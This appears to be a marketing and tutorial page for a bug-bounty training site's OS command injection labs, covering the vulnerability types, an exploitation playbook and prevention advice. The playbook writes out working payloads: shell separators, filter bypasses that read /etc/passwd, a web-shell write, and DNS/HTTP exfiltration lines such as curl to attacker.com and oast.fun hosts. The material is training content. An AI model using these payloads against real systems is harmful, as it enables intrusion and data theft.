Command Injection labs
OS Command Injection
What is Command Injection?
Command Injection happens when user input is concatenated into an operating-system shell call. It lets you run arbitrary commands with the privileges of the web process — usually immediate RCE and full compromise of the machine.
Why practice Command Injection?
It's one of the few vulnerabilities that gives direct RCE without complex chains. It shows up in export features (PDF generators, image conversion via ffmpeg/imagemagick), admin tools (ping/whois/traceroute) and shell-script wrappers. Bounties: immediate P1, $5,000-$50,000.
What will you learn with the Command Injection labs?
You'll learn separators that pass weak filters (`;` `&&` `||` `|` `$()` backticks), blind techniques with DNS callback (curl `attacker.com/$(whoami)`), timing-based exfil, and blacklist bypasses with bash brace expansion ({c,a,t} /etc/passwd).
Types of Command Injection we cover
- In-band
The command output is returned in the HTTP response. The easiest to detect (try `id` and see `uid=33(www-data)`).
- Blind
No visible output. You detect it with sleep / DNS callback / file write. Confirm with `; sleep 10` and compare latency.
- Argument injection
The parameter goes to a command as an argument (e.g. ffmpeg -i FILE). Inject `--config /tmp/x` or `-y -filter_complex ...` to abuse the binary.
How do you find and exploit Command Injection?
A practical playbook — from recon to proof of concept.
- 1
Find features that call the shell
Network tools (ping, nslookup, traceroute, whois), converters (ffmpeg, imagemagick), exporters and script wrappers are the typical nests.
POST /tools/ping {"host":"8.8.8.8"} - 2
Inject a separator
Chain your command with shell separators. Start with an in-band one to see the output directly.
8.8.8.8; id · 8.8.8.8 && id · 8.8.8.8 | id - 3
Confirm blind
With no output, measure latency with sleep or use a command substitution inside a ping to see the delay, and a DNS callback to exfiltrate.
8.8.8.8 & sleep 10 · 8.8.8.8; nslookup `whoami`.x.oast.fun - 4
Exfiltrate via DNS/HTTP
Put the command output into a subdomain or path of your collaborator. Works even if the HTTP response shows nothing.
; curl http://x.oast.fun/$(id|base64) - 5
Bypass blacklists and filters
If they filter spaces or words, use ${IFS}, brace expansion, interleaved quotes or variables to reconstruct the command.
{cat,/etc/passwd} · c\at /etc/pas$@swd · cat${IFS}/etc/passwd - 6
Detect argument injection
If your input is an argument (not the whole line), abuse the binary's flags to read/write files or spawn another process.
ffmpeg -i "FILE" → FILE = '-i /etc/passwd -f data ...' / curl -o /var/www/shell.php
Loading labs...
View in full catalog →Frequently asked questions
What is Command Injection?
It's a vulnerability where user input is concatenated into an OS shell call, letting you run arbitrary commands with the privileges of the web process. It's usually direct RCE.
How is a Command Injection exploited?
You inject a shell separator (;, &&, |, $(), backticks) followed by the desired command. If there's output it shows in the response (in-band); if not, you confirm blind with sleep or a DNS callback and exfiltrate the encoded output.
How do you find Command Injection in bug bounty?
Target features that invoke system binaries: ping/traceroute, image/PDF converters (ffmpeg, imagemagick), exporters and admin tools. Inject separators and a DNS callback; if you get the interaction, you have RCE.
How do you prevent Command Injection?
Avoid calling the shell with user input; use the language's native APIs instead of commands, pass arguments as an array (no intermediate shell), apply a strict value allowlist, and never interpolate strings into exec/system.
Difference between Command Injection and Code Injection?
Command Injection runs operating-system commands through the shell. Code Injection (e.g. SSTI or eval) runs code in the application's language. Both often end in RCE, but the vector and payloads differ.
Other related categories
- hunters training
- 650
- labs from real reports
- 50
- completions
- 380
- in bounties practiced
- $200,000
hunters training
labs from real reports
completions
in bounties practiced
Practice Command Injection in real labs
Every Command Injection lab replicates a real bug bounty report that got paid. Create your free account, start with the Academy and move to the labs whenever you want.
No card · free Academy · cancel anytime